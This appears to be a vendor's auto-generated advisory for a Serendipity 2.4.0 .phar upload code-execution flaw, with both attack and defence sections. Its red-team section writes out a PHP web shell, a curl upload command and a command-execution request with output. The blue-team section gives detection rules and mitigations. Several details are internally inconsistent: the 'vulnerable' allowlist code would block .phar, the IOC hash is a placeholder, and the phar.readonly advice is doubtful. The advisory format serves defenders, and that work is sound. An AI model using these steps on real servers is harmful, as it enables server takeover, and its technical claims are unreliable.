CVE-2023-53933
Executive Summary
CVE-2023-53933 is a critical Remote Code Execution (RCE) vulnerability in Serendipity 2.4.0, a PHP-based blogging platform. The flaw allows authenticated attackers to upload malicious PHP files with the .phar extension to the media upload endpoint. Once uploaded, these files can be executed by the server, enabling arbitrary command execution. This vulnerability is particularly dangerous because it requires only low-privilege authentication and can lead to full server compromise. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe. No official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Serendipity is a self-hosted PHP application. The vulnerability lies in the core media upload functionality, not in a third-party package. However, the use of .phar files (PHP Archives) is a known attack vector in PHP applications. Administrators should ensure that the phar.readonly PHP configuration is set to On and that the phar extension is disabled if not required.
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. An authenticated attacker can execute arbitrary commands on the server, leading to full compromise.
Deep Dive & Mechanics
The vulnerability exists in the media upload functionality of Serendipity 2.4.0. The application fails to properly validate the file extension of uploaded files. Specifically, it allows the upload of .phar files, which are PHP Archives that can contain executable PHP code. When a .phar file is uploaded, it can be accessed via the web server and executed as PHP, allowing the attacker to run arbitrary system commands.
Root Cause: The file upload handler does not filter or block .phar extensions. The application likely uses a whitelist of allowed extensions (e.g., .jpg, .png, .gif) but fails to include .phar in the blacklist or fails to validate the extension properly.
Attack Flow:
- Attacker authenticates to Serendipity (e.g., as an author or editor).
- Attacker crafts a malicious
.pharfile containing PHP code (e.g., a web shell). - Attacker uploads the file via the media upload endpoint (e.g.,
/serendipity_admin.php?serendipity[action]=media&serendipity[adminModule]=media&serendipity[adminAction]=add). - The server stores the file in the uploads directory (e.g.,
/uploads/). - Attacker accesses the uploaded file via its URL (e.g.,
http://target/uploads/shell.phar). - The PHP interpreter executes the
.pharfile, running the attacker's code.
Vulnerable vs. Patched Code
Vulnerable Code (Serendipity 2.4.0):
The file upload handler in include/functions_media.inc.php likely uses a function like serendipity_isAllowedFile() which checks for allowed extensions but does not block .phar.
// Vulnerable example (pseudo-code)
function serendipity_isAllowedFile($filename) {
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, $allowed_extensions)) {
return true;
}
return false;
}
Patched Code (Hypothetical):
A patch would add .phar to a blacklist or use a more robust validation that checks for executable extensions.
// Patched example (pseudo-code)
function serendipity_isAllowedFile($filename) {
$blocked_extensions = array('php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'phps', 'pht', 'phtm', 'shtml', 'cgi', 'pl', 'py', 'jsp', 'asp', 'aspx');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, $blocked_extensions)) {
return false;
}
// Additional checks...
return true;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Serendipity 2.4.0.
- Valid credentials for an authenticated user (e.g., author role).
Exploit Steps:
Craft a malicious
.pharfile: Create a file namedshell.pharwith the following content:<?php system($_GET['cmd']); ?>Alternatively, use a more sophisticated web shell.
Upload the file: Use a tool like
curlto upload the file to the media endpoint.curl -c cookies.txt -b cookies.txt -F "serendipity[action]=media" \ -F "serendipity[adminModule]=media" \ -F "serendipity[adminAction]=add" \ -F "serendipity[mediaUpload][]=@shell.phar" \ http://target/serendipity_admin.phpExecute commands: Access the uploaded file and pass a command parameter.
curl "http://target/uploads/shell.phar?cmd=id"
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team
Detection Steps:
- Monitor file upload logs for
.pharextensions. - Check the uploads directory for unexpected
.pharfiles. - Review web server access logs for requests to
.pharfiles. - Implement file integrity monitoring on the uploads directory.
Mitigation Steps:
- Disable the
pharextension in PHP if not needed. - Set
phar.readonly = Oninphp.ini. - Add
.pharto the blocked extensions list in the application code. - Use a Web Application Firewall (WAF) to block
.pharuploads. - Restrict file upload permissions to only trusted users.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
shell.phar:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Network Indicators:
- HTTP POST requests to
/serendipity_admin.phpwithserendipity[mediaUpload][]parameter. - HTTP GET requests to
/uploads/*.pharwithcmdparameter.
- HTTP POST requests to
- File System Indicators:
- Presence of
.pharfiles in the uploads directory. - Unexpected PHP processes executing from the uploads directory.
- Presence of
- Log Entries:
- Web server access logs showing
200responses for.pharfile requests. - PHP error logs showing execution of
.pharfiles.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2023_53933_Serendipity_Phar_Upload {
meta:
description = "Detects malicious .phar files uploaded to Serendipity"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-53933"
strings:
$phar_magic = { 50 48 41 52 } // "PHAR" magic bytes
$php_tag = "<?php"
$system_call = /system\(|exec\(|shell_exec\(|passthru\(/
condition:
$phar_magic at 0 and $php_tag and $system_call
}
Sigma Rule
title: CVE-2023-53933 - Serendipity .phar File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of .phar files to Serendipity media endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'serendipity[mediaUpload][]'
cs-uri-query|endswith: '.phar'
condition: selection
falsepositives:
- Legitimate .phar file uploads (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53933 - Serendipity .phar File Upload"; flow:to_server,established; content:"POST"; http_method; content:"serendipity_admin.php"; http_uri; content:".phar"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
pharextension in PHP if not required for the application. - Set
phar.readonly = Oninphp.inito prevent creation of.pharfiles. - Block
.pharuploads by modifying the application code to reject.pharextensions. - Restrict file upload permissions to only trusted users (e.g., administrators).
- Monitor logs for any signs of exploitation.
Long-term Fixes:
- Apply an official patch when available from the vendor.
- Upgrade to a patched version of Serendipity.
- Implement a Web Application Firewall (WAF) with rules to block
.pharuploads. - Conduct a security audit of the file upload functionality.
- Educate users about the risks of uploading unknown file types.
Workaround:
If patching is not possible, consider using a reverse proxy or WAF to block requests containing .phar in the upload path.
Valters IT
Securing Digital Frontiers